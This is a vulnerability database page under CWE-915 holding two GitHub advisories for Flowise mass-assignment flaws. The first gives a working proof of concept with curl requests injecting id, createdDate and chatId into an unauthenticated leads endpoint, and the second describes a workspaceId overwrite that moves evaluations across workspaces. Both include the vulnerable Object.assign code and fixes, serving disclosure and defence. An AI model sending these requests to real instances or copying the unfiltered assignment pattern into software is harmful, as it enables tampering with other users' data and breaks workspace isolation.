Common Weakness Enumeration

CWE-915

Allowed

Improperly Controlled Modification of Dynamically-Determined Object Attributes

Abstraction: Base · Status: Incomplete

The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

298 vulnerabilities reference this CWE, most recent first.

GHSA-MQ4R-H2GH-QV7X

Vulnerability from github – Published: 2026-03-06 22:19 – Updated: 2026-03-09 13:15
VLAI
Summary
Flowise Allows Mass Assignment in `/api/v1/leads` Endpoint
Details

Summary

A Mass Assignment vulnerability in the /api/v1/leads endpoint allows any unauthenticated user to control internal entity fields (id, createdDate, chatId) by including them in the request body.

The endpoint uses Object.assign() to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.

Field Value
Vulnerability Type Mass Assignment
CWE ID CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Authentication Required None
Affected Endpoint POST /api/v1/leads

Details

Root Cause

The vulnerability exists in /packages/server/src/services/leads/index.ts at lines 27-28:

// File: /packages/server/src/services/leads/index.ts
// Lines 23-38

const createLead = async (body: Partial<ILead>) => {
    try {
        const chatId = body.chatId ?? uuidv4()

        const newLead = new Lead()
        Object.assign(newLead, body)  // ← VULNERABILITY: All properties copied!
        Object.assign(newLead, { chatId })

        const appServer = getRunningExpressApp()
        const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
        return dbResponse
    } catch (error) {
        throw new InternalFlowiseError(...)
    }
}

The Object.assign(newLead, body) on line 28 copies ALL properties from the request body to the Lead entity, including: - id - The primary key (should be auto-generated) - createdDate - The creation timestamp (should be auto-generated) - chatId - The chat identifier

Lead Entity Definition

The Lead entity at /packages/server/src/database/entities/Lead.ts uses TypeORM decorators that should auto-generate these fields:

// File: /packages/server/src/database/entities/Lead.ts

@Entity()
export class Lead implements ILead {
    @PrimaryGeneratedColumn('uuid')  // Should be auto-generated!
    id: string

    @Column()
    name?: string

    @Column()
    email?: string

    @Column()
    phone?: string

    @Column()
    chatflowid: string

    @Column()
    chatId: string

    @CreateDateColumn()  // Should be auto-generated!
    createdDate: Date
}

However, Object.assign() overwrites these fields before they are saved, bypassing the auto-generation.

Why the Endpoint is Publicly Accessible

The /api/v1/leads endpoint is whitelisted in /packages/server/src/utils/constants.ts:

// File: /packages/server/src/utils/constants.ts
// Line 20

export const WHITELIST_URLS = [
    // ... other endpoints ...
    '/api/v1/leads',  // ← No authentication required
    // ... more endpoints ...
]

Proof of Concept

Screenshot 2025-12-26 at 2 28 00 PM

Prerequisites

  • Docker and Docker Compose installed
  • curl installed

Step 1: Start Flowise

Create a docker-compose.yml:

services:
  flowise:
    image: flowiseai/flowise:latest
    restart: unless-stopped
    environment:
      - PORT=3000
      - DATABASE_PATH=/root/.flowise
      - DATABASE_TYPE=sqlite
      - CORS_ORIGINS=*
      - DISABLE_FLOWISE_TELEMETRY=true
    ports:
      - '3000:3000'
    volumes:
      - flowise_data:/root/.flowise
    entrypoint: /bin/sh -c "sleep 3; flowise start"

volumes:
  flowise_data:

Start the container:

docker compose up -d
# Wait for Flowise to be ready (about 1-2 minutes)
curl http://localhost:3000/api/v1/ping

Step 2: Baseline Test - Normal Lead Creation

First, create a normal lead to see expected behavior:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "normal-chatflow-123",
    "name": "Normal User",
    "email": "normal@example.com",
    "phone": "555-0000"
  }'

Expected Response (normal behavior):

{
    "id": "018b23e3-d6cb-4dc5-a276-922a174b44fd",
    "name": "Normal User",
    "email": "normal@example.com",
    "phone": "555-0000",
    "chatflowid": "normal-chatflow-123",
    "chatId": "auto-generated-uuid",
    "createdDate": "2025-12-26T06:20:39.000Z"
}

Note: The id and createdDate are auto-generated by the server.

Step 3: Exploit - Inject Custom ID

Now inject a custom id:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "attacker-chatflow-456",
    "name": "Attacker",
    "email": "attacker@evil.com",
    "phone": "555-EVIL",
    "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
  }'

Actual Response (vulnerability confirmed):

{
    "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
    "name": "Attacker",
    "email": "attacker@evil.com",
    "phone": "555-EVIL",
    "chatflowid": "attacker-chatflow-456",
    "chatId": "auto-generated-uuid",
    "createdDate": "2025-12-26T06:20:40.000Z"
}

⚠️ The attacker-controlled id was accepted!

Step 4: Exploit - Inject Custom Timestamp

Inject a fake createdDate:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "timestamp-test-789",
    "name": "Time Traveler",
    "email": "timetraveler@evil.com",
    "createdDate": "1970-01-01T00:00:00.000Z"
  }'

Actual Response (vulnerability confirmed):

{
    "id": "some-auto-generated-uuid",
    "name": "Time Traveler",
    "email": "timetraveler@evil.com",
    "chatflowid": "timestamp-test-789",
    "chatId": "auto-generated-uuid",
    "createdDate": "1970-01-01T00:00:00.000Z"
}

⚠️ The attacker-controlled timestamp from 1970 was accepted!

Step 5: Exploit - Combined Mass Assignment

Inject multiple fields at once:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "any-chatflow-attacker-wants",
    "name": "Mass Assignment Attacker",
    "email": "massassign@evil.com",
    "phone": "555-HACK",
    "id": "11111111-2222-3333-4444-555555555555",
    "createdDate": "2000-01-01T12:00:00.000Z",
    "chatId": "custom-chat-id-injected"
  }'

Actual Response (vulnerability confirmed):

{
    "id": "11111111-2222-3333-4444-555555555555",
    "name": "Mass Assignment Attacker",
    "email": "massassign@evil.com",
    "phone": "555-HACK",
    "chatflowid": "any-chatflow-attacker-wants",
    "chatId": "custom-chat-id-injected",
    "createdDate": "2000-01-01T12:00:00.000Z"
}

⚠️ ALL three internal fields (id, createdDate, chatId) were controlled by the attacker!

Verification

The exploit succeeds because: 1. ✅ HTTP 200 response (request accepted) 2. ✅ id field contains attacker-controlled UUID 3. ✅ createdDate field contains attacker-controlled timestamp 4. ✅ chatId field contains attacker-controlled string 5. ✅ No authentication headers were sent


Impact

Who is Affected?

  • All Flowise deployments that use the leads feature
  • Both open-source and enterprise versions
  • Any system that relies on lead data integrity

Attack Scenarios

Scenario Impact
ID Collision Attack Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts
Audit Trail Manipulation Attacker sets fake createdDate values to hide malicious activity or manipulate reporting
Data Integrity Violation Internal fields that should be server-controlled are now user-controlled
Chatflow Association Attacker can link leads to arbitrary chatflows they don't own

Severity Assessment

While this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:

  • Data integrity issues
  • Potential business logic bypasses
  • Audit/compliance concerns
  • Foundation for chained attacks

Recommended Fix

Option 1: Whitelist Allowed Fields (Recommended)

Only copy explicitly allowed fields from the request body:

const createLead = async (body: Partial<ILead>) => {
    try {
        const chatId = body.chatId ?? uuidv4()

        const newLead = new Lead()

        // ✅ Only copy allowed fields
        const allowedFields = ['chatflowid', 'name', 'email', 'phone']
        for (const field of allowedFields) {
            if (body[field] !== undefined) {
                newLead[field] = body[field]
            }
        }
        newLead.chatId = chatId
        // Let TypeORM auto-generate id and createdDate

        const appServer = getRunningExpressApp()
        const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
        return dbResponse
    } catch (error) {
        throw new InternalFlowiseError(...)
    }
}

Option 2: Use Destructuring with Explicit Fields

const createLead = async (body: Partial<ILead>) => {
    try {
        // ✅ Only extract allowed fields
        const { chatflowid, name, email, phone } = body
        const chatId = body.chatId ?? uuidv4()

        const appServer = getRunningExpressApp()
        const lead = appServer.AppDataSource.getRepository(Lead).create({
            chatflowid,
            name,
            email,
            phone,
            chatId
            // id and createdDate will be auto-generated
        })

        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
        return dbResponse
    } catch (error) {
        throw new InternalFlowiseError(...)
    }
}

Option 3: Use class-transformer with @Exclude()

Add decorators to the Lead entity to exclude sensitive fields from assignment:

import { Exclude } from 'class-transformer'

@Entity()
export class Lead implements ILead {
    @PrimaryGeneratedColumn('uuid')
    @Exclude({ toClassOnly: true })  // ✅ Prevent assignment from request
    id: string

    // ... other fields ...

    @CreateDateColumn()
    @Exclude({ toClassOnly: true })  // ✅ Prevent assignment from request
    createdDate: Date
}

Additional Recommendation

Consider applying the same fix to other endpoints that use Object.assign() with request bodies, such as: - /packages/server/src/utils/addChatMessageFeedback.ts (similar pattern)


Resources


Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.12"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30822"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-06T22:19:14Z",
    "nvd_published_at": "2026-03-07T05:16:27Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n**A Mass Assignment vulnerability in the `/api/v1/leads` endpoint allows any unauthenticated user to control internal entity fields (`id`, `createdDate`, `chatId`) by including them in the request body.**\n\nThe endpoint uses `Object.assign()` to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.\n\n| Field | Value |\n|-------|-------|\n| **Vulnerability Type** | Mass Assignment |\n| **CWE ID** | [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) |\n| **Authentication Required** | None |\n| **Affected Endpoint** | `POST /api/v1/leads` |\n\n\n---\n\n## Details\n\n### Root Cause\n\nThe vulnerability exists in `/packages/server/src/services/leads/index.ts` at lines 27-28:\n\n```typescript\n// File: /packages/server/src/services/leads/index.ts\n// Lines 23-38\n\nconst createLead = async (body: Partial\u003cILead\u003e) =\u003e {\n    try {\n        const chatId = body.chatId ?? uuidv4()\n\n        const newLead = new Lead()\n        Object.assign(newLead, body)  // \u2190 VULNERABILITY: All properties copied!\n        Object.assign(newLead, { chatId })\n\n        const appServer = getRunningExpressApp()\n        const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)\n        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n        return dbResponse\n    } catch (error) {\n        throw new InternalFlowiseError(...)\n    }\n}\n```\n\nThe `Object.assign(newLead, body)` on line 28 copies **ALL** properties from the request body to the Lead entity, including:\n- `id` - The primary key (should be auto-generated)\n- `createdDate` - The creation timestamp (should be auto-generated)\n- `chatId` - The chat identifier\n\n### Lead Entity Definition\n\nThe Lead entity at `/packages/server/src/database/entities/Lead.ts` uses TypeORM decorators that should auto-generate these fields:\n\n```typescript\n// File: /packages/server/src/database/entities/Lead.ts\n\n@Entity()\nexport class Lead implements ILead {\n    @PrimaryGeneratedColumn(\u0027uuid\u0027)  // Should be auto-generated!\n    id: string\n\n    @Column()\n    name?: string\n\n    @Column()\n    email?: string\n\n    @Column()\n    phone?: string\n\n    @Column()\n    chatflowid: string\n\n    @Column()\n    chatId: string\n\n    @CreateDateColumn()  // Should be auto-generated!\n    createdDate: Date\n}\n```\n\nHowever, `Object.assign()` overwrites these fields before they are saved, bypassing the auto-generation.\n\n### Why the Endpoint is Publicly Accessible\n\nThe `/api/v1/leads` endpoint is whitelisted in `/packages/server/src/utils/constants.ts`:\n\n```typescript\n// File: /packages/server/src/utils/constants.ts\n// Line 20\n\nexport const WHITELIST_URLS = [\n    // ... other endpoints ...\n    \u0027/api/v1/leads\u0027,  // \u2190 No authentication required\n    // ... more endpoints ...\n]\n```\n\n---\n\n## Proof of Concept\n\n\u003cimg width=\"1585\" height=\"817\" alt=\"Screenshot 2025-12-26 at 2 28 00\u202fPM\" src=\"https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5\" /\u003e\n\n\n### Prerequisites\n\n- Docker and Docker Compose installed\n- curl installed\n\n### Step 1: Start Flowise\n\nCreate a `docker-compose.yml`:\n\n```yaml\nservices:\n  flowise:\n    image: flowiseai/flowise:latest\n    restart: unless-stopped\n    environment:\n      - PORT=3000\n      - DATABASE_PATH=/root/.flowise\n      - DATABASE_TYPE=sqlite\n      - CORS_ORIGINS=*\n      - DISABLE_FLOWISE_TELEMETRY=true\n    ports:\n      - \u00273000:3000\u0027\n    volumes:\n      - flowise_data:/root/.flowise\n    entrypoint: /bin/sh -c \"sleep 3; flowise start\"\n\nvolumes:\n  flowise_data:\n```\n\nStart the container:\n\n```bash\ndocker compose up -d\n# Wait for Flowise to be ready (about 1-2 minutes)\ncurl http://localhost:3000/api/v1/ping\n```\n\n### Step 2: Baseline Test - Normal Lead Creation\n\nFirst, create a normal lead to see expected behavior:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"chatflowid\": \"normal-chatflow-123\",\n    \"name\": \"Normal User\",\n    \"email\": \"normal@example.com\",\n    \"phone\": \"555-0000\"\n  }\u0027\n```\n\n**Expected Response (normal behavior):**\n```json\n{\n    \"id\": \"018b23e3-d6cb-4dc5-a276-922a174b44fd\",\n    \"name\": \"Normal User\",\n    \"email\": \"normal@example.com\",\n    \"phone\": \"555-0000\",\n    \"chatflowid\": \"normal-chatflow-123\",\n    \"chatId\": \"auto-generated-uuid\",\n    \"createdDate\": \"2025-12-26T06:20:39.000Z\"\n}\n```\n\nNote: The `id` and `createdDate` are auto-generated by the server.\n\n### Step 3: Exploit - Inject Custom ID\n\nNow inject a custom `id`:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"chatflowid\": \"attacker-chatflow-456\",\n    \"name\": \"Attacker\",\n    \"email\": \"attacker@evil.com\",\n    \"phone\": \"555-EVIL\",\n    \"id\": \"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\"\n  }\u0027\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n    \"id\": \"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\",\n    \"name\": \"Attacker\",\n    \"email\": \"attacker@evil.com\",\n    \"phone\": \"555-EVIL\",\n    \"chatflowid\": \"attacker-chatflow-456\",\n    \"chatId\": \"auto-generated-uuid\",\n    \"createdDate\": \"2025-12-26T06:20:40.000Z\"\n}\n```\n\n**\u26a0\ufe0f The attacker-controlled `id` was accepted!**\n\n### Step 4: Exploit - Inject Custom Timestamp\n\nInject a fake `createdDate`:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"chatflowid\": \"timestamp-test-789\",\n    \"name\": \"Time Traveler\",\n    \"email\": \"timetraveler@evil.com\",\n    \"createdDate\": \"1970-01-01T00:00:00.000Z\"\n  }\u0027\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n    \"id\": \"some-auto-generated-uuid\",\n    \"name\": \"Time Traveler\",\n    \"email\": \"timetraveler@evil.com\",\n    \"chatflowid\": \"timestamp-test-789\",\n    \"chatId\": \"auto-generated-uuid\",\n    \"createdDate\": \"1970-01-01T00:00:00.000Z\"\n}\n```\n\n**\u26a0\ufe0f The attacker-controlled timestamp from 1970 was accepted!**\n\n### Step 5: Exploit - Combined Mass Assignment\n\nInject multiple fields at once:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"chatflowid\": \"any-chatflow-attacker-wants\",\n    \"name\": \"Mass Assignment Attacker\",\n    \"email\": \"massassign@evil.com\",\n    \"phone\": \"555-HACK\",\n    \"id\": \"11111111-2222-3333-4444-555555555555\",\n    \"createdDate\": \"2000-01-01T12:00:00.000Z\",\n    \"chatId\": \"custom-chat-id-injected\"\n  }\u0027\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n    \"id\": \"11111111-2222-3333-4444-555555555555\",\n    \"name\": \"Mass Assignment Attacker\",\n    \"email\": \"massassign@evil.com\",\n    \"phone\": \"555-HACK\",\n    \"chatflowid\": \"any-chatflow-attacker-wants\",\n    \"chatId\": \"custom-chat-id-injected\",\n    \"createdDate\": \"2000-01-01T12:00:00.000Z\"\n}\n```\n\n**\u26a0\ufe0f ALL three internal fields (`id`, `createdDate`, `chatId`) were controlled by the attacker!**\n\n### Verification\n\nThe exploit succeeds because:\n1. \u2705 HTTP 200 response (request accepted)\n2. \u2705 `id` field contains attacker-controlled UUID\n3. \u2705 `createdDate` field contains attacker-controlled timestamp\n4. \u2705 `chatId` field contains attacker-controlled string\n5. \u2705 No authentication headers were sent\n\n---\n\n## Impact\n\n### Who is Affected?\n\n- **All Flowise deployments** that use the leads feature\n- Both **open-source** and **enterprise** versions\n- Any system that relies on lead data integrity\n\n### Attack Scenarios\n\n| Scenario | Impact |\n|----------|--------|\n| **ID Collision Attack** | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts |\n| **Audit Trail Manipulation** | Attacker sets fake `createdDate` values to hide malicious activity or manipulate reporting |\n| **Data Integrity Violation** | Internal fields that should be server-controlled are now user-controlled |\n| **Chatflow Association** | Attacker can link leads to arbitrary chatflows they don\u0027t own |\n\n### Severity Assessment\n\nWhile this vulnerability doesn\u0027t directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:\n\n- Data integrity issues\n- Potential business logic bypasses\n- Audit/compliance concerns\n- Foundation for chained attacks\n\n---\n\n## Recommended Fix\n\n### Option 1: Whitelist Allowed Fields (Recommended)\n\nOnly copy explicitly allowed fields from the request body:\n\n```typescript\nconst createLead = async (body: Partial\u003cILead\u003e) =\u003e {\n    try {\n        const chatId = body.chatId ?? uuidv4()\n\n        const newLead = new Lead()\n        \n        // \u2705 Only copy allowed fields\n        const allowedFields = [\u0027chatflowid\u0027, \u0027name\u0027, \u0027email\u0027, \u0027phone\u0027]\n        for (const field of allowedFields) {\n            if (body[field] !== undefined) {\n                newLead[field] = body[field]\n            }\n        }\n        newLead.chatId = chatId\n        // Let TypeORM auto-generate id and createdDate\n\n        const appServer = getRunningExpressApp()\n        const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)\n        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n        return dbResponse\n    } catch (error) {\n        throw new InternalFlowiseError(...)\n    }\n}\n```\n\n### Option 2: Use Destructuring with Explicit Fields\n\n```typescript\nconst createLead = async (body: Partial\u003cILead\u003e) =\u003e {\n    try {\n        // \u2705 Only extract allowed fields\n        const { chatflowid, name, email, phone } = body\n        const chatId = body.chatId ?? uuidv4()\n\n        const appServer = getRunningExpressApp()\n        const lead = appServer.AppDataSource.getRepository(Lead).create({\n            chatflowid,\n            name,\n            email,\n            phone,\n            chatId\n            // id and createdDate will be auto-generated\n        })\n        \n        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n        return dbResponse\n    } catch (error) {\n        throw new InternalFlowiseError(...)\n    }\n}\n```\n\n### Option 3: Use class-transformer with @Exclude()\n\nAdd decorators to the Lead entity to exclude sensitive fields from assignment:\n\n```typescript\nimport { Exclude } from \u0027class-transformer\u0027\n\n@Entity()\nexport class Lead implements ILead {\n    @PrimaryGeneratedColumn(\u0027uuid\u0027)\n    @Exclude({ toClassOnly: true })  // \u2705 Prevent assignment from request\n    id: string\n\n    // ... other fields ...\n\n    @CreateDateColumn()\n    @Exclude({ toClassOnly: true })  // \u2705 Prevent assignment from request\n    createdDate: Date\n}\n```\n\n### Additional Recommendation\n\nConsider applying the same fix to other endpoints that use `Object.assign()` with request bodies, such as:\n- `/packages/server/src/utils/addChatMessageFeedback.ts` (similar pattern)\n\n---\n\n## Resources\n\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [OWASP: Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n- [OWASP API Security Top 10 - API6:2023 Unrestricted Access to Sensitive Business Flows](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/)\n- [Node.js Security Best Practices](https://nodejs.org/en/docs/guides/security/)\n\n---",
  "id": "GHSA-mq4r-h2gh-qv7x",
  "modified": "2026-03-09T13:15:30Z",
  "published": "2026-03-06T22:19:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-mq4r-h2gh-qv7x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30822"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flowise Allows Mass Assignment in `/api/v1/leads` Endpoint"
}

GHSA-MQ53-PC65-WJC4

Vulnerability from github – Published: 2026-05-14 16:19 – Updated: 2026-07-07 13:34
VLAI
Summary
FlowiseAI: Evaluation create+update mass-assignment allows cross-workspace evaluation takeover
Details

Summary

Type: Mass assignment via Object.assign(entity, body) -> client-controlled workspaceId (and on create, id) overwritten on the Evaluation entity -> cross-workspace data takeover and IDOR. File: packages/server/src/services/evaluations/index.ts Root cause: The Evaluation controller/service constructs a new Evaluation() and copies the request body into it via Object.assign(...) without an explicit field allowlist. The request body therefore can include workspaceId, id, createdDate, updatedDate. The server only rebinds some of these after the assign (e.g. on create, it overwrites workspaceId but not id; on update, it overwrites id but not workspaceId). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the evaluation entity's sibling controllers and as DocumentStore before it was patched in commit 840d2ae.

Affected Code

File: packages/server/src/services/evaluations/index.ts

// at line 69
Object.assign(newEvaluation, body)      // <-- BUG: body.id, body.workspaceId, body.createdDate, body.updatedDate accepted

Why it's wrong: Object.assign(target, source) copies every own enumerable property of source onto target. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so workspaceId set in the request body lands as the new workspaceId of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity.

Exploit Chain

  1. Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A.
  2. Attacker creates a evaluation in workspace A via the documented API (or reuses an existing one they own). They note its entity id.
  3. Attacker issues a PUT /api/v1/evaluations/<id> (or equivalent endpoint) with a JSON body that includes "workspaceId": "<workspace-B-id>" (an arbitrary other workspace's UUID). State at this point: the request reaches the controller as a workspace-A authenticated request.
  4. The controller calls Object.assign(updateEntity, body). The body's workspaceId overwrites the entity's workspaceId field. The persistence layer commits the row.
  5. Final state: the evaluation row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator's workspace audit shows nothing because the operation looked like a normal update.

Security Impact

Severity: High. Cross-workspace boundary violation by any authenticated workspace member. Attacker capability: Any authenticated user with permission to update a evaluation can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). Evaluation runs (which may include captured prompts, model outputs, scoring data) can be moved cross-workspace via workspaceId overwrite, exposing the data to attacker workspace members. Preconditions: Authenticated session with edit permission for the source evaluation. No second factor required. Workspace UUIDs are exposed via the /api/v1/workspaces listing or via any cross-referenced object's workspaceId field, so target enumeration is trivial. Differential: PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the workspaceId field; vulnerable build accepts it and persists it.

Suggested Fix

Already fixed in PR https://github.com/FlowiseAI/Flowise/pull/6050 (allowlist pattern applied).

// Allowlist pattern (matches commit 840d2ae for DocumentStore):
const updatedEvaluation = new Evaluation()
if (body.<allowed_field_1> !== undefined) updatedEvaluation.<allowed_field_1> = body.<allowed_field_1>
if (body.<allowed_field_2> !== undefined) updatedEvaluation.<allowed_field_2> = body.<allowed_field_2>
// ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client.

Regression tests should assert that a request body containing workspaceId, id, createdDate, or updatedDate is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46479"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T16:19:49Z",
    "nvd_published_at": "2026-06-08T16:16:42Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n**Type:** Mass assignment via `Object.assign(entity, body)` -\u003e client-controlled `workspaceId` (and on create, `id`) overwritten on the Evaluation entity -\u003e cross-workspace data takeover and IDOR.\n**File:** `packages/server/src/services/evaluations/index.ts`\n**Root cause:** The Evaluation controller/service constructs a `new Evaluation()` and copies the request body into it via `Object.assign(...)` without an explicit field allowlist. The request body therefore can include `workspaceId`, `id`, `createdDate`, `updatedDate`. The server only rebinds *some* of these after the assign (e.g. on create, it overwrites `workspaceId` but not `id`; on update, it overwrites `id` but not `workspaceId`). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the evaluation entity\u0027s sibling controllers and as `DocumentStore` before it was patched in commit 840d2ae.\n\n## Affected Code\n\n**File:** `packages/server/src/services/evaluations/index.ts`\n\n```ts\n// at line 69\nObject.assign(newEvaluation, body)      // \u003c-- BUG: body.id, body.workspaceId, body.createdDate, body.updatedDate accepted\n```\n\n**Why it\u0027s wrong:** `Object.assign(target, source)` copies every own enumerable property of `source` onto `target`. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so `workspaceId` set in the request body lands as the new `workspaceId` of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity.\n\n## Exploit Chain\n\n1. Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A.\n2. Attacker creates a evaluation in workspace A via the documented API (or reuses an existing one they own). They note its entity `id`.\n3. Attacker issues a `PUT /api/v1/evaluations/\u003cid\u003e` (or equivalent endpoint) with a JSON body that includes `\"workspaceId\": \"\u003cworkspace-B-id\u003e\"` (an arbitrary other workspace\u0027s UUID). State at this point: the request reaches the controller as a workspace-A authenticated request.\n4. The controller calls `Object.assign(updateEntity, body)`. The body\u0027s `workspaceId` overwrites the entity\u0027s `workspaceId` field. The persistence layer commits the row.\n5. Final state: the evaluation row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator\u0027s workspace audit shows nothing because the operation looked like a normal update.\n\n## Security Impact\n\n**Severity:** High. Cross-workspace boundary violation by any authenticated workspace member.\n**Attacker capability:** Any authenticated user with permission to update a evaluation can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). Evaluation runs (which may include captured prompts, model outputs, scoring data) can be moved cross-workspace via `workspaceId` overwrite, exposing the data to attacker workspace members.\n**Preconditions:** Authenticated session with edit permission for the source evaluation. No second factor required. Workspace UUIDs are exposed via the `/api/v1/workspaces` listing or via any cross-referenced object\u0027s `workspaceId` field, so target enumeration is trivial.\n**Differential:** PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the `workspaceId` field; vulnerable build accepts it and persists it.\n\n## Suggested Fix\n\nAlready fixed in PR https://github.com/FlowiseAI/Flowise/pull/6050 (allowlist pattern applied).\n\n```ts\n// Allowlist pattern (matches commit 840d2ae for DocumentStore):\nconst updatedEvaluation = new Evaluation()\nif (body.\u003callowed_field_1\u003e !== undefined) updatedEvaluation.\u003callowed_field_1\u003e = body.\u003callowed_field_1\u003e\nif (body.\u003callowed_field_2\u003e !== undefined) updatedEvaluation.\u003callowed_field_2\u003e = body.\u003callowed_field_2\u003e\n// ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client.\n```\n\nRegression tests should assert that a request body containing `workspaceId`, `id`, `createdDate`, or `updatedDate` is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths.",
  "id": "GHSA-mq53-pc65-wjc4",
  "modified": "2026-07-07T13:34:25Z",
  "published": "2026-05-14T16:19:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-mq53-pc65-wjc4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6050"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/dc07f4062b852033554543a3cff3daf3433b0dac"
